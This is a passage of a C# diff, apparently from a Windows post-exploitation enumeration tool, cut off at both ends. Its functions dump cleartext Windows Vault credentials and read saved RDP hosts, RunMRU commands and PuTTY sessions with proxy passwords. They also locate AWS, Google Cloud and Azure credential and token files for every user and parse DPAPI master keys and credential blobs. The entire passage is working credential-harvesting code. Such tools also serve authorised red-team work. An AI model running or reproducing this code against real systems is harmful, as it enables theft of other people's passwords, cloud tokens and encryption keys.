Short + results = System.Runtime.InteropServices.Marshal.ReadInt16(elementPtr); + break; + case 3: // VAULT_ELEMENT_TYPE == Int + results = System.Runtime.InteropServices.Marshal.ReadInt32(elementPtr); + break; + case 4: // VAULT_ELEMENT_TYPE == Unsigned Int + results = System.Runtime.InteropServices.Marshal.ReadInt32(elementPtr); + break; + case 5: // VAULT_ELEMENT_TYPE == Double + results = System.Runtime.InteropServices.Marshal.PtrToStructure(elementPtr, typeof(Double)); + break; + case 6: // VAULT_ELEMENT_TYPE == GUID + results = System.Runtime.InteropServices.Marshal.PtrToStructure(elementPtr, typeof(Guid)); + break; + case 12: // VAULT_ELEMENT_TYPE == Sid + IntPtr sidPtr = System.Runtime.InteropServices.Marshal.ReadIntPtr(elementPtr); + var sidObject = new System.Security.Principal.SecurityIdentifier(sidPtr); + results = sidObject.Value; + break; + default: + /* Several VAULT_ELEMENT_TYPES are currently unimplemented according to + * Lord Graeber. Thus we do not implement them. */ + results = null; + break; + } + return results; + } + + public static List> DumpVault() + { + List> results = new List>(); + // pulled directly from @djhohnstein's SharpWeb project: https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs + var OSVersion = Environment.OSVersion.Version; + var OSMajor = OSVersion.Major; + var OSMinor = OSVersion.Minor; + + Type VAULT_ITEM; + + if (OSMajor >= 6 && OSMinor >= 2) + { + VAULT_ITEM = typeof(VaultCli.VAULT_ITEM_WIN8); + } + else + { + VAULT_ITEM = typeof(VaultCli.VAULT_ITEM_WIN7); + } + + Int32 vaultCount = 0; + IntPtr vaultGuidPtr = IntPtr.Zero; + var result = VaultCli.VaultEnumerateVaults(0, ref vaultCount, ref vaultGuidPtr); + + //var result = CallVaultEnumerateVaults(VaultEnum, 0, ref vaultCount, ref vaultGuidPtr); + + if ((int)result != 0) + { + Console.WriteLine(" [ERROR] Unable to enumerate vaults. Error (0x" + result.ToString() + ")"); + return results; + } + + // Create dictionary to translate Guids to human readable elements + IntPtr guidAddress = vaultGuidPtr; + Dictionary vaultSchema = new Dictionary(); + vaultSchema.Add(new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"), "Windows Secure Note"); + vaultSchema.Add(new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"), "Windows Web Password Credential"); + vaultSchema.Add(new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"), "Windows Credential Picker Protector"); + vaultSchema.Add(new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"), "Web Credentials"); + vaultSchema.Add(new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"), "Windows Credentials"); + vaultSchema.Add(new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"), "Windows Domain Certificate Credential"); + vaultSchema.Add(new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"), "Windows Domain Password Credential"); + vaultSchema.Add(new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"), "Windows Extended Credential"); + vaultSchema.Add(new Guid("00000000-0000-0000-0000-000000000000"), null); + + for (int i = 0; i < vaultCount; i++) + { + + // Open vault block + object vaultGuidString = System.Runtime.InteropServices.Marshal.PtrToStructure(guidAddress, typeof(Guid)); + Guid vaultGuid = new Guid(vaultGuidString.ToString()); + guidAddress = (IntPtr)(guidAddress.ToInt64() + System.Runtime.InteropServices.Marshal.SizeOf(typeof(Guid))); + IntPtr vaultHandle = IntPtr.Zero; + string vaultType; + if (vaultSchema.ContainsKey(vaultGuid)) + { + vaultType = vaultSchema[vaultGuid]; + } + else + { + vaultType = vaultGuid.ToString(); + } + result = VaultCli.VaultOpenVault(ref vaultGuid, (UInt32)0, ref vaultHandle); + if (result != 0) + { + Console.WriteLine("Unable to open the following vault: " + vaultType + ". Error: 0x" + result.ToString()); + continue; + } + // Vault opened successfully! Continue. + + // Fetch all items within Vault + int vaultItemCount = 0; + IntPtr vaultItemPtr = IntPtr.Zero; + result = VaultCli.VaultEnumerateItems(vaultHandle, 512, ref vaultItemCount, ref vaultItemPtr); + if (result != 0) + { + Console.WriteLine("Unable to enumerate vault items from the following vault: " + vaultType + ". Error 0x" + result.ToString()); + continue; + } + var structAddress = vaultItemPtr; + if (vaultItemCount > 0) + { + // For each vault item... + for (int j = 1; j <= vaultItemCount; j++) + { + Dictionary vault_cred = new Dictionary() { + { "GUID", String.Format("{0}", vaultGuid) }, + { "Type", vaultType }, + { "Resource", "" }, + { "Identity", "" }, + { "PacakgeSid", "" }, + { "Credential", "" }, + { "Last Modified", "" }, + { "Error", "" } + }; + + // Begin fetching vault item... + var currentItem = System.Runtime.InteropServices.Marshal.PtrToStructure(structAddress, VAULT_ITEM); + structAddress = (IntPtr)(structAddress.ToInt64() + System.Runtime.InteropServices.Marshal.SizeOf(VAULT_ITEM)); + + IntPtr passwordVaultItem = IntPtr.Zero; + // Field Info retrieval + FieldInfo schemaIdInfo = currentItem.GetType().GetField("SchemaId"); + Guid schemaId = new Guid(schemaIdInfo.GetValue(currentItem).ToString()); + FieldInfo pResourceElementInfo = currentItem.GetType().GetField("pResourceElement"); + IntPtr pResourceElement = (IntPtr)pResourceElementInfo.GetValue(currentItem); + FieldInfo pIdentityElementInfo = currentItem.GetType().GetField("pIdentityElement"); + IntPtr pIdentityElement = (IntPtr)pIdentityElementInfo.GetValue(currentItem); + FieldInfo dateTimeInfo = currentItem.GetType().GetField("LastModified"); + UInt64 lastModified = (UInt64)dateTimeInfo.GetValue(currentItem); + + IntPtr pPackageSid = IntPtr.Zero; + if (OSMajor >= 6 && OSMinor >= 2) + { + // Newer versions have package sid + FieldInfo pPackageSidInfo = currentItem.GetType().GetField("pPackageSid"); + pPackageSid = (IntPtr)pPackageSidInfo.GetValue(currentItem); + result = VaultCli.VaultGetItem_WIN8(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, pPackageSid, IntPtr.Zero, 0, ref passwordVaultItem); + } + else + { + result = VaultCli.VaultGetItem_WIN7(vaultHandle, ref schemaId, pResourceElement, pIdentityElement, IntPtr.Zero, 0, ref passwordVaultItem); + } + + if (result != 0) + { + vault_cred["Error"] = "Occured while retrieving vault item. Error: 0x" + result.ToString(); + continue; + } + object passwordItem = System.Runtime.InteropServices.Marshal.PtrToStructure(passwordVaultItem, VAULT_ITEM); + FieldInfo pAuthenticatorElementInfo = passwordItem.GetType().GetField("pAuthenticatorElement"); + IntPtr pAuthenticatorElement = (IntPtr)pAuthenticatorElementInfo.GetValue(passwordItem); + // Fetch the credential from the authenticator element + object cred = GetVaultElementValue(pAuthenticatorElement); + object packageSid = null; + if (pPackageSid != IntPtr.Zero && pPackageSid != null) + { + packageSid = GetVaultElementValue(pPackageSid); + } + if (cred != null) // Indicates successful fetch + { + object resource = GetVaultElementValue(pResourceElement); + if (resource != null) + { + vault_cred["Resource"] = String.Format("{0}", resource); + } + object identity = GetVaultElementValue(pIdentityElement); + if (identity != null) + { + vault_cred["Identity"] = String.Format("{0}", identity); + } + if (packageSid != null) + { + vault_cred["PacakgeSid"] = String.Format("{0}", packageSid); + } + vault_cred["Credential"] = String.Format("{0}", cred); + vault_cred["Last Modified"] = String.Format("{0}", System.DateTime.FromFileTimeUtc((long)lastModified)); + results.Add(vault_cred); + } + } + } + } + return results; + } + + public static void GetCredsCredmanager() + { + var cm = new Credential {}; + cm.Load(); + } + + public static List> GetSavedRDPConnections() + { + List> results = new List>(); + //shows saved RDP connections, including username hints (if present) + if (MyUtils.IsHighIntegrity()) + { + string[] SIDs = Registry.Users.GetSubKeyNames(); + foreach (string SID in SIDs) + { + if (SID.StartsWith("S-1-5") && !SID.EndsWith("_Classes")) + { + string[] subkeys = MyUtils.GetRegSubkeys("HKU", String.Format("{0}\\Software\\Microsoft\\Terminal Server Client\\Servers", SID)); + if (subkeys != null) + { + Console.WriteLine("\r\n\r\n=== Saved RDP Connection Information ({0}) ===", SID); + foreach (string host in subkeys) + { + string usernameHint = MyUtils.GetRegValue("HKCU", String.Format("Software\\Microsoft\\Terminal Server Client\\Servers\\{0}", host), "UsernameHint"); + Dictionary rdp_info = new Dictionary() { + { "SID", SID }, + { "Host", host }, + { "Username Hint", usernameHint }, + }; + results.Add(rdp_info); + } + } + } + } + } + else + { + string[] subkeys = MyUtils.GetRegSubkeys("HKCU", "Software\\Microsoft\\Terminal Server Client\\Servers"); + if (subkeys != null) + { + foreach (string host in subkeys) + { + string usernameHint = MyUtils.GetRegValue("HKCU", String.Format("Software\\Microsoft\\Terminal Server Client\\Servers\\{0}", host), "UsernameHint"); + Dictionary rdp_info = new Dictionary() { + { "SID", "" }, + { "Host", host }, + { "Username Hint", usernameHint }, + }; + results.Add(rdp_info); + } + } + } + return results; + } + + public static Dictionary GetRecentRunCommands() + { + Dictionary results = new Dictionary(); + // lists recently run commands via the RunMRU registry key + if (MyUtils.IsHighIntegrity()) + { + string[] SIDs = Registry.Users.GetSubKeyNames(); + foreach (string SID in SIDs) + { + if (SID.StartsWith("S-1-5") && !SID.EndsWith("_Classes")) + results = MyUtils.GetRegValues("HKU", String.Format("{0}\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU", SID)); + } + } + else + { + results = MyUtils.GetRegValues("HKCU", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU"); + } + return results; + } + + public static List> GetPuttySessions() + { + List> results = new List>(); + // extracts saved putty sessions and basic configs (via the registry) + if (MyUtils.IsHighIntegrity()) + { + Console.WriteLine("\r\n\r\n=== Putty Saved Session Information (All Users) ===\r\n"); + + string[] SIDs = Registry.Users.GetSubKeyNames(); + foreach (string SID in SIDs) + { + if (SID.StartsWith("S-1-5") && !SID.EndsWith("_Classes")) + { + string[] subKeys = MyUtils.GetRegSubkeys("HKU", String.Format("{0}\\Software\\SimonTatham\\PuTTY\\Sessions\\", SID)); + + foreach (string sessionName in subKeys) + { + Dictionary putty_sess = new Dictionary() + { + { "User SID", SID }, + { "SessionName", sessionName }, + { "HostName", "" }, + { "PortNumber", ""}, + { "UserName", "" }, + { "PublicKeyFile", "" }, + { "PortForwardings", "" }, + { "ConnectionSharing", "" }, + { "ProxyPassword", "" }, + { "ProxyUsername", "" }, + }; + + string[] keys = + { + "HostName", + "PortNumber", + "UserName", + "PublicKeyFile", + "PortForwardings", + "ConnectionSharing", + "ProxyPassword", + "ProxyUsername", + }; + + foreach (string key in keys) + putty_sess[key] = MyUtils.GetRegValue("HKU", String.Format("{0}\\Software\\SimonTatham\\PuTTY\\Sessions\\{1}", SID, sessionName), key); + + results.Add(putty_sess); + } + } + } + } + else + { + string[] subKeys = MyUtils.GetRegSubkeys("HKCU", "Software\\SimonTatham\\PuTTY\\Sessions\\"); + foreach (string sessionName in subKeys) + { + Dictionary putty_sess = new Dictionary() + { + { "SessionName", sessionName }, + { "HostName", "" }, + { "PortNumber", "" }, + { "UserName", "" }, + { "PublicKeyFile", "" }, + { "PortForwardings", "" }, + { "ConnectionSharing", "" }, + { "ProxyPassword", "" }, + { "ProxyUsername", "" }, + }; + + string[] keys = + { + "HostName", + "PortNumber", + "UserName", + "PublicKeyFile", + "PortForwardings", + "ConnectionSharing", + "ProxyPassword", + "ProxyUsername", + }; + + foreach (string key in keys) + putty_sess[key] = MyUtils.GetRegValue("HKCU", String.Format("Software\\SimonTatham\\PuTTY\\Sessions\\{0}", sessionName), key); + + results.Add(putty_sess); + } + } + return results; + } + + + public static List> ListPuttySSHHostKeys() + { + List> results = new List>(); + // extracts saved putty host keys (via the registry) + if (MyUtils.IsHighIntegrity()) + { + Console.WriteLine("\r\n\r\n=== Putty SSH Host Hosts (All Users) ===\r\n"); + + string[] SIDs = Registry.Users.GetSubKeyNames(); + foreach (string SID in SIDs) + { + if (SID.StartsWith("S-1-5") && !SID.EndsWith("_Classes")) + { + Dictionary hostKeys = MyUtils.GetRegValues("HKU", String.Format("{0}\\Software\\SimonTatham\\PuTTY\\SshHostKeys\\", SID)); + if ((hostKeys != null) && (hostKeys.Count != 0)) + { + Dictionary putty_ssh = new Dictionary(); + putty_ssh["UserSID"] = SID; + foreach (KeyValuePair kvp in hostKeys) + { + putty_ssh[kvp.Key] = ""; //Looks like only matters the key name, not the value + } + results.Add(putty_ssh); + } + } + } + } + else + { + Dictionary hostKeys = MyUtils.GetRegValues("HKCU", "Software\\SimonTatham\\PuTTY\\SshHostKeys\\"); + if ((hostKeys != null) && (hostKeys.Count != 0)) + { + Dictionary putty_ssh = new Dictionary(); + foreach (KeyValuePair kvp in hostKeys) + { + putty_ssh[kvp.Key] = ""; //Looks like only matters the key name, not the value + } + results.Add(putty_ssh); + } + } + return results; + } + + public static List> ListCloudCreds() + { + List> results = new List>(); + // checks for various cloud credential files (AWS, Microsoft Azure, and Google Compute) + // adapted from https://twitter.com/cmaddalena's SharpCloud project (https://github.com/chrismaddalena/SharpCloud/) + try + { + if (MyUtils.IsHighIntegrity()) + { + string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); + string[] dirs = Directory.GetDirectories(userFolder); + foreach (string dir in dirs) + { + string[] parts = dir.Split('\\'); + string userName = parts[parts.Length - 1]; + if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) + { + string awsKeyFile = String.Format("{0}\\.aws\\credentials", dir); + if (System.IO.File.Exists(awsKeyFile)) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(awsKeyFile); + DateTime lastModified = System.IO.File.GetLastWriteTime(awsKeyFile); + long size = new System.IO.FileInfo(awsKeyFile).Length; + results.Add(new Dictionary() { + { "file", awsKeyFile }, + { "Description", "AWS credentials file" }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { "Size", String.Format("{0}", size) } + }); + } + string computeCredsDb = String.Format("{0}\\AppData\\Roaming\\gcloud\\credentials.db", dir); + if (System.IO.File.Exists(computeCredsDb)) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(computeCredsDb); + DateTime lastModified = System.IO.File.GetLastWriteTime(computeCredsDb); + long size = new System.IO.FileInfo(computeCredsDb).Length; + results.Add(new Dictionary() { + { "file", computeCredsDb }, + { "Description", "GC Compute creds" }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { "Size", String.Format("{0}", size) } + }); + } + string computeLegacyCreds = String.Format("{0}\\AppData\\Roaming\\gcloud\\legacy_credentials", dir); + if (System.IO.File.Exists(computeLegacyCreds)) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(computeLegacyCreds); + DateTime lastModified = System.IO.File.GetLastWriteTime(computeLegacyCreds); + long size = new System.IO.FileInfo(computeLegacyCreds).Length; + results.Add(new Dictionary() { + { "file", computeLegacyCreds }, + { "Description", "GC Compute creds legacy" }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { "Size", String.Format("{0}", size) } + }); + } + string computeAccessTokensDb = String.Format("{0}\\AppData\\Roaming\\gcloud\\access_tokens.db", dir); + if (System.IO.File.Exists(computeAccessTokensDb)) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(computeAccessTokensDb); + DateTime lastModified = System.IO.File.GetLastWriteTime(computeAccessTokensDb); + long size = new System.IO.FileInfo(computeAccessTokensDb).Length; + results.Add(new Dictionary() { + { "file", computeAccessTokensDb }, + { "Description", "GC Compute tokens" }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { "Size", String.Format("{0}", size) } + }); + } + string azureTokens = String.Format("{0}\\.azure\\accessTokens.json", dir); + if (System.IO.File.Exists(azureTokens)) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(azureTokens); + DateTime lastModified = System.IO.File.GetLastWriteTime(azureTokens); + long size = new System.IO.FileInfo(azureTokens).Length; + results.Add(new Dictionary() { + { "file", azureTokens }, + { "Description", "Azure tokens" }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { "Size", String.Format("{0}", size) } + }); + } + string azureProfile = String.Format("{0}\\.azure\\azureProfile.json", dir); + if (System.IO.File.Exists(azureProfile)) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(azureProfile); + DateTime lastModified = System.IO.File.GetLastWriteTime(azureProfile); + long size = new System.IO.FileInfo(azureProfile).Length; + results.Add(new Dictionary() { + { "file", azureProfile }, + { "Description", "Azure profile" }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { "Size", String.Format("{0}", size) } + }); + } + } + } + } + else + { + string awsKeyFile = String.Format("{0}\\.aws\\credentials", System.Environment.GetEnvironmentVariable("USERPROFILE")); + if (System.IO.File.Exists(awsKeyFile)) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(awsKeyFile); + DateTime lastModified = System.IO.File.GetLastWriteTime(awsKeyFile); + long size = new System.IO.FileInfo(awsKeyFile).Length; + results.Add(new Dictionary() { + { "file", awsKeyFile }, + { "Description", "AWS keys file" }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { "Size", String.Format("{0}", size) } + }); + } + string computeCredsDb = String.Format("{0}\\AppData\\Roaming\\gcloud\\credentials.db", System.Environment.GetEnvironmentVariable("USERPROFILE")); + if (System.IO.File.Exists(computeCredsDb)) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(computeCredsDb); + DateTime lastModified = System.IO.File.GetLastWriteTime(computeCredsDb); + long size = new System.IO.FileInfo(computeCredsDb).Length; + results.Add(new Dictionary() { + { "file", computeCredsDb }, + { "Description", "GC Compute creds" }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { "Size", String.Format("{0}", size) } + }); + } + string computeLegacyCreds = String.Format("{0}\\AppData\\Roaming\\gcloud\\legacy_credentials", System.Environment.GetEnvironmentVariable("USERPROFILE")); + if (System.IO.File.Exists(computeLegacyCreds)) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(computeLegacyCreds); + DateTime lastModified = System.IO.File.GetLastWriteTime(computeLegacyCreds); + long size = new System.IO.FileInfo(computeLegacyCreds).Length; + results.Add(new Dictionary() { + { "file", computeLegacyCreds }, + { "Description", "GC Compute creds legacy" }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { "Size", String.Format("{0}", size) } + }); + } + string computeAccessTokensDb = String.Format("{0}\\AppData\\Roaming\\gcloud\\access_tokens.db", System.Environment.GetEnvironmentVariable("USERPROFILE")); + if (System.IO.File.Exists(computeAccessTokensDb)) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(computeAccessTokensDb); + DateTime lastModified = System.IO.File.GetLastWriteTime(computeAccessTokensDb); + long size = new System.IO.FileInfo(computeAccessTokensDb).Length; + results.Add(new Dictionary() { + { "file", computeAccessTokensDb }, + { "Description", "GC Compute tokens" }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { "Size", String.Format("{0}", size) } + }); + } + string azureTokens = String.Format("{0}\\.azure\\accessTokens.json", System.Environment.GetEnvironmentVariable("USERPROFILE")); + if (System.IO.File.Exists(azureTokens)) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(azureTokens); + DateTime lastModified = System.IO.File.GetLastWriteTime(azureTokens); + long size = new System.IO.FileInfo(azureTokens).Length; + results.Add(new Dictionary() { + { "file", azureTokens }, + { "Description", "Azure tokens" }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { "Size", String.Format("{0}", size) } + }); + } + string azureProfile = String.Format("{0}\\.azure\\azureProfile.json", System.Environment.GetEnvironmentVariable("USERPROFILE")); + if (System.IO.File.Exists(azureProfile)) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(azureProfile); + DateTime lastModified = System.IO.File.GetLastWriteTime(azureProfile); + long size = new System.IO.FileInfo(azureProfile).Length; + results.Add(new Dictionary() { + { "file", azureProfile }, + { "Description", "Azure profile" }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { "Size", String.Format("{0}", size) } + }); + } + } + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return results; + } + + + public static List> GetRecentFiles() + { + // parses recent file shortcuts via COM + List> results = new List>(); + int lastDays = 7; + DateTime startTime = System.DateTime.Now.AddDays(-lastDays); + + try + { + // WshShell COM object GUID + Type shell = Type.GetTypeFromCLSID(new Guid("F935DC22-1CF0-11d0-ADB9-00C04FD58A0B")); + Object shellObj = Activator.CreateInstance(shell); + + if (MyUtils.IsHighIntegrity()) + { + string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); + string[] dirs = Directory.GetDirectories(userFolder); + foreach (string dir in dirs) + { + string[] parts = dir.Split('\\'); + string userName = parts[parts.Length - 1]; + + if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) + { + string recentPath = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", dir); + try + { + string[] recentFiles = Directory.GetFiles(recentPath, "*.lnk", SearchOption.AllDirectories); + + if (recentFiles.Length != 0) + { + Console.WriteLine(" {0} :\r\n", userName); + foreach (string recentFile in recentFiles) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(recentFile); + + if (lastAccessed > startTime) + { + // invoke the WshShell com object, creating a shortcut to then extract the TargetPath from + Object shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile }); + Object TargetPath = shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { }); + + if (TargetPath.ToString().Trim() != "") + { + results.Add(new Dictionary() + { + { "Target", TargetPath.ToString() }, + { "Accessed", String.Format("{0}", lastAccessed) } + }); + } + Marshal.ReleaseComObject(shortcut); + shortcut = null; + } + } + } + } + catch { } + } + } + } + else + { + string recentPath = String.Format("{0}\\Microsoft\\Windows\\Recent\\", System.Environment.GetEnvironmentVariable("APPDATA")); + + string[] recentFiles = Directory.GetFiles(recentPath, "*.lnk", SearchOption.AllDirectories); + + foreach (string recentFile in recentFiles) + { + // old method (needed interop dll) + //WshShell shell = new WshShell(); + //IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(recentFile); + + DateTime lastAccessed = System.IO.File.GetLastAccessTime(recentFile); + + if (lastAccessed > startTime) + { + // invoke the WshShell com object, creating a shortcut to then extract the TargetPath from + Object shortcut = shellObj.GetType().InvokeMember("CreateShortcut", BindingFlags.InvokeMethod, null, shellObj, new object[] { recentFile }); + Object TargetPath = shortcut.GetType().InvokeMember("TargetPath", BindingFlags.GetProperty, null, shortcut, new object[] { }); + if (TargetPath.ToString().Trim() != "") + { + results.Add(new Dictionary() + { + { "Target", TargetPath.ToString() }, + { "Accessed", String.Format("{0}", lastAccessed) } + }); + } + Marshal.ReleaseComObject(shortcut); + shortcut = null; + } + } + } + // release the WshShell COM object + Marshal.ReleaseComObject(shellObj); + shellObj = null; + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return results; + } + + public static List> ListMasterKeys() + { + List> results = new List>(); + // lists any found DPAPI master keys + try + { + if (MyUtils.IsHighIntegrity()) + { + string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); + string[] dirs = Directory.GetDirectories(userFolder); + foreach (string dir in dirs) + { + string[] parts = dir.Split('\\'); + string userName = parts[parts.Length - 1]; + if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) + { + string userDPAPIBasePath = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", dir); + if (System.IO.Directory.Exists(userDPAPIBasePath)) + { + string[] directories = Directory.GetDirectories(userDPAPIBasePath); + foreach (string directory in directories) + { + string[] files = Directory.GetFiles(directory); + + foreach (string file in files) + { + if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); + DateTime lastModified = System.IO.File.GetLastWriteTime(file); + string fileName = System.IO.Path.GetFileName(file); + results.Add(new Dictionary() + { + { "MasterKey", file }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + }); + } + } + } + } + } + } + } + else + { + string userName = Environment.GetEnvironmentVariable("USERNAME"); + string userDPAPIBasePath = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); + + if (System.IO.Directory.Exists(userDPAPIBasePath)) + { + string[] directories = Directory.GetDirectories(userDPAPIBasePath); + foreach (string directory in directories) + { + string[] files = Directory.GetFiles(directory); + + foreach (string file in files) + { + if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); + DateTime lastModified = System.IO.File.GetLastWriteTime(file); + string fileName = System.IO.Path.GetFileName(file); + results.Add(new Dictionary() + { + { "MasterKey", file }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + }); + } + } + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return results; + } + + + public static List> GetCredFiles() + { + List> results = new List>(); + // lists any found files in Local\Microsoft\Credentials\* + try + { + if (MyUtils.IsHighIntegrity()) + { + string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); + string[] dirs = Directory.GetDirectories(userFolder); + + foreach (string dir in dirs) + { + string[] parts = dir.Split('\\'); + string userName = parts[parts.Length - 1]; + if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) + { + string userCredFilePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", dir); + if (System.IO.Directory.Exists(userCredFilePath)) + { + string[] systemFiles = Directory.GetFiles(userCredFilePath); + if ((systemFiles != null) && (systemFiles.Length != 0)) + { + foreach (string file in systemFiles) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); + DateTime lastModified = System.IO.File.GetLastWriteTime(file); + long size = new System.IO.FileInfo(file).Length; + string fileName = System.IO.Path.GetFileName(file); + + // jankily parse the bytes to extract the credential type and master key GUID + // reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54 + byte[] credentialArray = File.ReadAllBytes(file); + byte[] guidMasterKeyArray = new byte[16]; + Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16); + Guid guidMasterKey = new Guid(guidMasterKeyArray); + + byte[] stringLenArray = new byte[16]; + Array.Copy(credentialArray, 56, stringLenArray, 0, 4); + int descLen = BitConverter.ToInt32(stringLenArray, 0); + + byte[] descBytes = new byte[descLen]; + Array.Copy(credentialArray, 60, descBytes, 0, descLen - 4); + + string desc = Encoding.Unicode.GetString(descBytes); + results.Add(new Dictionary() + { + { "CredFile", file }, + { "Description", desc }, + { "MasterKey", String.Format("{0}", guidMasterKey) }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { "Size", String.Format("{0}", size) }, + }); + } + } + } + } + } + + string systemFolder = String.Format("{0}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot")); + string[] files = Directory.GetFiles(systemFolder); + if ((files != null) && (files.Length != 0)) + { + foreach (string file in files) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); + DateTime lastModified = System.IO.File.GetLastWriteTime(file); + long size = new System.IO.FileInfo(file).Length; + string fileName = System.IO.Path.GetFileName(file); + + // jankily parse the bytes to extract the credential type and master key GUID + // reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54 + byte[] credentialArray = File.ReadAllBytes(file); + byte[] guidMasterKeyArray = new byte[16]; + Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16); + Guid guidMasterKey = new Guid(guidMasterKeyArray); + + byte[] stringLenArray = new byte[16]; + Array.Copy(credentialArray, 56, stringLenArray, 0, 4); + int descLen = BitConverter.ToInt32(stringLenArray, 0); + + byte[] descBytes = new byte[descLen]; + Array.Copy(credentialArray, 60, descBytes, 0, descLen - 4); + + string desc = Encoding.Unicode.GetString(descBytes); + results.Add(new Dictionary() + { + { "CredFile", file }, + { "Description", desc }, + { "MasterKey", String.Format("{0}", guidMasterKey) }, + { "Accessed", String.Format("{0}", lastAccessed) }, + { "Modified", String.Format("{0}", lastModified) }, + { "Size", String.Format("{0}", size) }, + }); + } + } + } + else + { + string userName = Environment.GetEnvironmentVariable("USERNAME"); + string userCredFilePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); + + if (System.IO.Directory.Exists(userCredFilePath)) + { + string[] files = Directory.GetFiles(userCredFilePath); + + foreach (string file in files) + { + DateTime lastAccessed = System.IO.File.GetLastAccessTime(file); + DateTime lastModified = System.IO.File.GetLastWriteTime(file); + long size = new System.IO.FileInfo(file).Length; + string fileName = 